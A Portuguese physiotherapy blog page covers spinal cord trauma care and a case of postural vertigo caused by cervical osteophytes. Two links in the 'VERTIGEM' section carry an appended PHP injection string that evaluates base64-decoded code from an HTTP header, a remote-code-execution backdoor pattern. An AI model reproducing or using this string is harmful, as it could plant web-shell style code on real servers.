segunda-feira, 5 de abril de 2010
Osteofitose ou famoso "Bico de Papagaio"
Para Fisioterapeutas
Concento Maitland de Terapia Manual
Conceito Maitland - Terapia Manual
http://fisioterapiahumberto.blogspot.com/2009/07/o-conceito-maitland-de-terapia-manual.html
Importante!
TRAUMATISMO RAQUIMEDULAR
Traumatismo raquimedular
Os traumatismos raquimedulares (coluna vertebral e medula) são lesões freqüentes na vida moderna. Estima-se que a lesão da medula espinhal ocorra em cerca de 15% a 20% das fraturas da coluna vertebral, e que 10% a 15% dos pacientes apresentem dano neurológico severo com grande morbidade e 5% de taxa de mortalidade, somente nos EUA (Fig. 1).
Figura 1 – Figuras esquemáticas de fraturas da coluna
A localização anatômica mais comum de lesão medular é na região cervical, que está associada também ao maior índice de complicações, seqüelas e mortalidade em relação aos demais segmentos vertebrais (Fig. 2).
Figura 2 – Lesão da coluna cervical com deslocamento (fratura – luxação)
Avaliação clínica e abordagem inicial
Todo o paciente com história de traumatismo cranioencefálico, cervical, torácico ou abdominal deve ser considerado como potencialmente portador de fratura da coluna. Também deve-se incluir nesta categoria os pacientes vítimas de traumas severos, pacientes inconscientes (desmaiados) e todos os pacientes que apresentem limitação dos movimentos e dor localizada na coluna vertebral mesmo que apresentem movimentos com os membros.
É importante que a pessoa que preste os primeiros socorros tenha sempre e mente que o paciente deve ficar imobilizado, na medida do possível, tanto tempo quanto for necessário até a chegada de equipe especializada, para afastar a possibilidade de lesão de coluna vertebral e movimentar o paciente de forma segura.
A movimentação inadequada do paciente com lesões vertebrais instáveis pode provocar dano medular adicional. A imobilização com colar cervical e maca rígida auxiliam na proteção do transporte. No atendimento inicial do paciente é fundamental a avaliação e preservação das funções vitais básicas. No atendimento hospitalar, a história do trauma e o exame físico geral são fundamentais na avaliação da lesão vertebral e outras associadas.
Avaliação radiológica e diagnóstico por imagem
A radiografia cervical em perfil deve ser obtida assim que estabilizado o paciente. As radiografias da coluna torácica, lombar e pelve também são fundamentais. O estudo com ressonância nuclear magnética (RNM) e a tomografia computadorizada, mostram com fidelidade as estruturas neurais, o canal raquídeo e a arquitetura vertebral, respectivamente, auxiliando quanto à etiologia do dano neurológico, no tratamento cirúrgico, bem como na classificação de lesões estáveis e instáveis (Fig. 3).
Figura 3 – Ressonância magnética de uma Fratura-luxação da coluna cervical
Tratamento
O tratamento específico da lesão no segmento vertebral fraturado tem como principal objetivo a preservação da anatomia e função da medula espinhal, restauração do alinhamento da coluna vertebral, estabilização do segmento vertebral lesado, prevenção de complicações gerais e locais. Na impossibilidade de realização do tratamento definitivo, a redução da fratura cervical e o realinhamento do canal vertebral podem ser obtidos por meio da aplicação de tração longitudinal, utilizando-se halo-craniano, promovendo descompressão indireta das estruturas nervosas do segmento vertebral.
As indicações do tratamento cirúrgico têm sido baseadas na presença de instabilidade do segmento vertebral e lesão neurológica. A presença de paralisia incompleta e progressiva é indicação absoluta e urgente de tratamento cirúrgico (Fig. 4).
Figura 4 – Fixação anterior da coluna cervical
Figura 5 – Fixação posterior da coluna cervical
A estabilização precoce das lesões facilita a mobilização dos pacientes e promove de modo mais rápido a reabilitação, reintegração social, reduzindo ainda as complicações inerentes a essas lesões (Fig. 5).
VERTIGEM - 200 dúvidas respondidas
Primeira parte:
http://www.medicinageriatrica.com.br/2007/11/30/vertigem-20-duvidas/%&%28%7B$%7Beval%28base64_decode%28$_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D|.+%29&%/
Segunda parte:
http://www.medicinageriatrica.com.br/2007/12/07/reabilitacao-vestibular/%&evalbase64_decode_SERVERHTTP_EXECCODE.+&%/
VERTIGENS POSTURAIS- Estudo de caso
Vertigens Posturais - Estudo de caso
Interpretação clínica
Mulher de 68 anos, trazida ao pronto socorro com história de “tonteira” há 2 dias. A paciente relata que a “tonteira” aparece quando ela vira a cabeça para o lado esquerdo, e melhora quando volta para o lado direito. Acompanha a “tonteira”, ânsia de vômito e formigamento nas mãos. Sabe ser diabética e hipertensa, em tratamento há 20 anos e em tratamento de “bico-de-papagaio” na coluna há 3 anos. Exame físico geral obesidade. No exame cardiológico, pressão arterial normal, pulsos normais, freqüência cardíaca rítmica com 80 batimentos por minuto. No exame neurológico apresentava-se lúcida, reflexos normais. Qual o possível diagnóstico e que exame ajuda no diagnóstico?
Este tipo de tontura, dita por deflexão da cabeça, é considerada com tontura fisiológica, como as que ocorrem com a cinetoses, as vertigens auditiva, proprioceptiva, por hiperextensão da cabeça, à imaginação de objetos em movimentos e à sugestão hipnótica. Porém, neste caso, a tontura ao virar rapidamente a cabeça pode ser por espondiloartrose cervical, (degeneração da coluna cervical, osteofitose marginal = “bico de papagaio” no jargão popular, veja figura).
A tontura cervical é causada pela compressão da artéria vertebral pelos osteófitos. Dessa compressão resulta a diminuição do fluxo sangüíneo para o tronco cerebral, e disso a vertigem rotatória. O diagnóstico é feito por radiografia da coluna cervical, ecodoppler arterial das artérias vertebrais e artériografia vertebral. O tratamento poderá ser conservador com fisioterapia ou cirúrgico com remoção dos osteofitos.
Obs. A vertigem por extensão da cabeça, devido à transposição do limite funcional otolítico, pode ocorrer quando a pessoa, em hiperextensão cervical, apóia-se sobre um dos pés, olha para o teto ou fecha os olhos. A vertigem à flexão da cabeça sobre a cintura é causada pelo mesmo mecanismo, ou seja, por aumento transitório na pressão intracraniana, transmitindo à perilinfa e à endolinfa. Em ambas as situações, a vertigem desaparece quando a cabeça retorna a posição normal.
Esse caso chama atenção para a pesquisa na anamnese dos possíveis fatores agravantes como o movimento ou repouso, de pé, deitado ou sentado, virando na cama para a direita ou para a esquerda, estendendo a cabeça para cima ou para baixo, se há sintomas auditivos, neurovegetativos (náuseas, vômitos, sudorese, palidez, taquicardia, lipotímia, desmaios), cefaléia, disfunções neurológicas ou otológica (sensação de ouvido tapado, etc).
Referências:
Ganança MM, Caovilla HH, Kuhn AMB, Ganança FF, Ganança CF – “Labirintites” no idoso: Vertigens posturais. Atualidade em Geriatria 1997,2(11):5-8.
Ganaça MM, Caovilla HH – O universo das vertigens no idoso. Atualidades em Geriatria, 1996, 2(7):2-8.